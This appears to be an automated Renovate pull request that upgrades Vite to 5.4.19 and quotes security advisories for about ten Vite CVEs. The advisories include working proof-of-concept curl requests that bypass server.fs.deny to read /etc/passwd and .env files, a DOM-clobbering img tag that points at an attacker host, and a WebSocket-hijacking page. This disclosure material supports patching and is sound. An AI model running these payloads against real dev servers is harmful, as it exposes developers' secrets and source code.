chore(deps): update dependency vite to v5.4.19 [security]
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| vite (source) | 5.0.6 -> 5.4.19 |
GitHub Vulnerability Alerts
CVE-2024-23331
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected]
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.-
npm run dev -- --host 0.0.0.0 - Publicly accessible for the time being here: http://20.12.242.81:5173/
-
- Created dummy secret files, e.g.
custom.secretandproduction.pem - Populated
vite.config.jswith
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
-
curl -s http://20.12.242.81:5173/@​fs//- Descriptive error page reveals absolute filesystem path to project root
-
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js- Discoverable configuration file reveals locations of secrets
-
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT- Secrets are directly accessible using case-augmented version of filename
Proof

Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
CVE-2024-31207
Summary
Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.
Impact
Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
Details
server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.
Reproduction
Set fs.deny to ['**/.git/**'] and then curl for /.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc). - with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC
Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
CVE-2025-24010
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
[!WARNING] This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost - Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.
Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.
Accessing the development server via a domain other than localhost or *.localhost
You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.
Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set server.cors to false or limit server.cors.origin to trusted origins.
[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com). - The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. - The attacker gets the content of
http://127.0.0.1:5173/main.js.
[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com). - The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page. - The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work). - The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page. - The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.
Impact
[1]: Permissive default CORS settings
Users with the default server.cors option may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>vite CSWSH</title>
</head>
<body>
<div id="logs"></div>
<script>
const div = document.querySelectorAll('#logs')[0];
const ws = new WebSocket('ws://localhost:5173','vite-hmr');
ws.onmessage = event => {
const logLine = document.createElement('p');
logLine.innerHTML = event.data;
div.append(logLine);
};
</script>
</body>
</html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser. - Edit
src/App.jsxfile and intentionally place a syntax error - Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961
CVE-2025-30208
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
CVE-2025-31486
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svg
Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.
relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@​fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
CVE-2025-32395
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).
On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@​fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
CVE-2025-46565
Summary
The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env - Examples of other patterns:
**/.git/**,.git/**,.git/**/*
Details
server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).
PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
CVE-2025-31125
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init) - content of non-allowed files is exposed using
?raw?import
/@​fs/ isn't needed to reproduce the issue for files inside the project root.
PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@​fs/C:/windows/win.ini?import&?inline=1.wasm?init
Release Notes
vitejs/vite (vite)
v5.4.19
Please refer to CHANGELOG.md for details.
v5.4.18
Please refer to CHANGELOG.md for details.
v5.4.17
Please refer to CHANGELOG.md for details.
v5.4.16
Please refer to CHANGELOG.md for details.
v5.4.15
Please refer to CHANGELOG.md for details.
v5.4.14
Please refer to CHANGELOG.md for details.
v5.4.13
Please refer to CHANGELOG.md for details.
v5.4.12
This version contains a breaking change due to security fixes. See https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6 for more details.
Please refer to CHANGELOG.md for details.
v5.4.11

Today, we're taking another big step in Vite's story. The Vite team, contributors, and ecosystem partners are excited to announce the release of the next Vite major:
- Vite 6.0 announcement blog post
- Docs
- Translations: ็ฎไฝไธญๆ, ๆฅๆฌ่ช, Espaรฑol, Portuguรชs, ํ๊ตญ์ด, Deutsch
- Migration Guide
We want to thank the more than 1K contributors to Vite Core and the maintainers and contributors of Vite plugins, integrations, tools, and translations that have helped us craft this new major. We invite you to get involved and help us improve Vite for the whole ecosystem. Learn more at our Contributing Guide.
โ BREAKING CHANGES
- drop node 21 support in version ranges (#โ18729)
- deps: update dependency dotenv-expand to v12 (#โ18697)
- resolve: allow removing conditions (#โ18395)
- html: support more asset sources (#โ11138)
- remove fs.cachedChecks option (#โ18493)
- proxy bypass with WebSocket (#โ18070)
- css: remove default import in ssr dev (#โ17922)
- lib: use package name for css output file name (#โ18488)
- update to chokidar v4 (#โ18453)
- support
file://resolution (#โ18422) - deps: update postcss-load-config to v6 (#โ15235)
- css: change default sass api to modern/modern-compiler (#โ17937)
- css: load postcss config within workspace root only (#โ18440)
- default
build.cssMinifyto'esbuild'for SSR (#โ15637) -
json: add
json.stringify: 'auto'and make that the default (#โ18303) - bump minimal terser version to 5.16.0 (#โ18209)
-
deps: migrate
fast-globtotinyglobby(#โ18243)
Features
- add support for .cur type (#โ18680) (5ec9eed)
- drop node 21 support in version ranges (#โ18729) (a384d8f)
- enable HMR by default on ModuleRunner side (#โ18749) (4d2abc7)
- support
module-synccondition when loading config if enabled (#โ18650) (cf5028d) - add
isSsrTargetWebWorkerflag toconfigEnvironmenthook (#โ18620) (3f5fab0) - add
ssr.resolve.mainFieldsoption (#โ18646) (a6f5f5b) - expose default mainFields/conditions (#โ18648) (c12c653)
- extended applyToEnvironment and perEnvironmentPlugin (#โ18544) (8fa70cd)
-
optimizer: allow users to specify their esbuild
platformoption (#โ18611) (0924879) - show error when accessing variables not exposed in CJS build (#โ18649) (87c5502)
-
asset: add
?inlineand?no-inlinequeries to control inlining (#โ15454) (9162172) - asset: inline svg in dev if within limit (#โ18581) (f08b146)
- use a single transport for fetchModule and HMR support (#โ18362) (78dc490)
- html: support more asset sources (#โ11138) (8a7af50)
- resolve: allow removing conditions (#โ18395) (d002e7d)
-
html: support
vite-ignoreattribute to opt-out of processing (#โ18494) (d951310) - lib: use package name for css output file name (#โ18488) (61cbf6f)
- log complete config in debug mode (#โ18289) (04f6736)
- proxy bypass with WebSocket (#โ18070) (3c9836d)
- support
file://resolution (#โ18422) (6a7e313) - update to chokidar v4 (#โ18453) (192d555)
- allow custom
consoleincreateLogger(#โ18379) (0c497d9) - css: add more stricter typing of lightningcss (#โ18460) (b9b925e)
- css: change default sass api to modern/modern-compiler (#โ17937) (d4e0442)
- read
sec-fetch-destheader to detect JS in transform (#โ9981) (e51dc40) - css: load postcss config within workspace root only (#โ18440) (d23a493)
-
json: add
json.stringify: 'auto'and make that the default (#โ18303) (b80daa7) - add .git to deny list by default (#โ18382) (105ca12)
- add
environment::listen(#โ18263) (4d5f51d) - enable dependencies discovery and pre-bundling in ssr environments (#โ18358) (9b21f69)
- restrict characters useable for environment name (#โ18255) (9ab6180)
- support arbitrary module namespace identifier imports from cjs deps (#โ18236) (4389a91)
- introduce RunnableDevEnvironment (#โ18190) (fb292f2)
- support
this.environmentinoptionsandonLoghook (#โ18142) (7722c06) - css: support es2023 build target for lightningcss (#โ17998) (1a76300)
- Environment API (#โ16471) (242f550)
- expose
EnvironmentOptionstype (#โ18080) (35cf59c)
Bug Fixes
-
createRunnableDevEnvironmentreturnsRunnableDevEnvironment, notDevEnvironment(#โ18673) (74221c3) -
getModulesByFileshould return aserverModule(#โ18715) (b80d5ec) - catch error in full reload handler (#โ18713) (a10e741)
- client: overlay not appearing when multiple vite clients were loaded (#โ18647) (27d70b5)
- deps: update all non-major dependencies (#โ18691) (f005461)
- deps: update dependency dotenv-expand to v12 (#โ18697) (0c658de)
- display pre-transform error details (#โ18764) (554f45f)
- exit code on
SIGTERM(#โ18741) (cc55e36) - expose missing
InterceptorOptionstype (#โ18766) (6252c60) - html: fix inline proxy modules invalidation (#โ18696) (8ab04b7)
- log error when send in module runner failed (#โ18753) (ba821bb)
- module-runner: make evaluator optional (#โ18672) (fd1283f)
- optimizer: detect npm / yarn / pnpm dependency changes correctly (#โ17336) (#โ18560) (818cf3e)
- optimizer: trigger onCrawlEnd after manual included deps are registered (#โ18733) (dc60410)
- optimizer: workaround firefox's false warning for no sources source map (#โ18665) (473424e)
-
ssr: replace
__vite_ssr_identity__with(0, ...)and inject;between statements (#โ18748) (94546be) - cjs build for perEnvironmentState et al (#โ18656) (95c4b3c)
-
html: externalize
rollup.externalscripts correctly (#โ18618) (55461b4) - include more modules to prefix-only module list (#โ18667) (5a2103f)
-
ssr: format
ssrTransformparse error (#โ18644) (d9be921) - ssr: preserve fetchModule error details (#โ18626) (866a433)
- browser field should not be included by default for
consumer: 'server'(#โ18575) (87b2347) - client: detect ws close correctly (#โ18548) (637d31b)
- resolve: run ensureVersionQuery for SSR (#โ18591) (63207e5)
- use
server.perEnvironmentStartEndDuringDev(#โ18549) (fe30349) - allow nested dependency selector to be used for
optimizeDeps.includefor SSR (#โ18506) (826c81a) - asset
new URL(,import.meta.url)match (#โ18194) (5286a90) - close watcher if it's disabled (#โ18521) (85bd0e9)
- config: write temporary vite config to node_modules (#โ18509) (72eaef5)
-
css:
cssCodeSplituses the current environment configuration (#โ18486) (eefe895) -
json: don't
json.stringifyarrays (#โ18541) (fa50b03) -
less: prevent rebasing
[@import](https://redirect.github.com/import) url(...)(#โ17857) (aec5fdd) - lib: only resolve css bundle name if have styles (#โ18530) (5d6dc49)
- scss: improve error logs (#โ18522) (3194a6a)
-
definein environment config was not working (#โ18515) (052799e) - build: apply resolve.external/noExternal to server environments (#โ18495) (5a967cb)
- config: remove error if require resolve to esm (#โ18437) (f886f75)
- consider URLs with any protocol to be external (#โ17369) (a0336bd)
- css: remove default import in ssr dev (#โ17922) (eccf663)
- use picomatch to align with tinyglobby (#โ18503) (437795d)
-
css:
cssCodeSplitinenvironments.xxx.buildis invalid (#โ18464) (993e71c) - css: make sass types work with sass-embedded (#โ18459) (89f8303)
- deps: update all non-major dependencies (#โ18484) (2ec12df)
- handle warmup glob hang (#โ18462) (409fa5c)
- manifest: non entry CSS chunk src was wrong (#โ18133) (c148676)
- module-runner: delay function eval until module runner instantiation (#โ18480) (472afbd)
- plugins: noop if config hook returns same config reference (#โ18467) (bd540d5)
- return the same instance of ModuleNode for the same EnvironmentModuleNode (#โ18455) (5ead461)
- set scripts imported by HTML moduleSideEffects=true (#โ18411) (2ebe4b4)
- use websocket to test server liveness before client reload (#โ17891) (7f9f8c6)
- add typing to
CSSOptions.preprocessorOptions(#โ18001) (7eeb6f2) - default
build.cssMinifyto'esbuild'for SSR (#โ15637) (f1d3bf7) - dev: prevent double URL encoding in server.open on macOS (#โ18443) (56b7176)
- preview: set resolvedUrls null after close (#โ18445) (65014a3)
- ssr: inject identity function at the top (#โ18449) (0ab20a3)
- ssr: preserve source maps for hoisted imports (fix #โ16355) (#โ16356) (8e382a6)
- augment hash for CSS files to prevent chromium erroring by loading previous files (#โ18367) (a569f42)
-
cli:
--watchshould not overridebuild.watchoptions (#โ18390) (b2965c8) - css: don't transform sass function calls with namespace (#โ18414) (dbb2604)
-
deps: update
opendependency to 10.1.0 (#โ18349) (5cca4bf) - deps: update all non-major dependencies (#โ18345) (5552583)
- more robust plugin.sharedDuringBuild (#โ18351) (47b1270)
-
ssr:
thisin exported function should beundefined(#โ18329) (bae6a37) -
worker: rewrite rollup
output.formatwithworker.formaton worker build error (#โ18165) (dc82334) -
injectQuerydouble encoding (#โ18246) ([2c5f948](https://redirect.github.com/vitej
Configuration
๐ Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
๐ฆ Automerge: Disabled by config. Please merge this manually once you are satisfied.
โป Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
๐ Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
Visit the preview URL for this PR (updated for commit 98e4742):
- https://techcal-th--pr163-renovate-npm-vite-vu-tfhgcnid.web.app
- https://techcal-id--pr163-renovate-npm-vite-vu-gtog9gej.web.app
- https://techcal--pr163-renovate-npm-vite-vu-q3zxh1gh.web.app
(expires Thu, 26 Sep 2024 23:26:05 GMT)
๐ฅ via Firebase Hosting GitHub Action ๐
Sign: 7b89b43096a0297d669b0d75e88f6129966a431d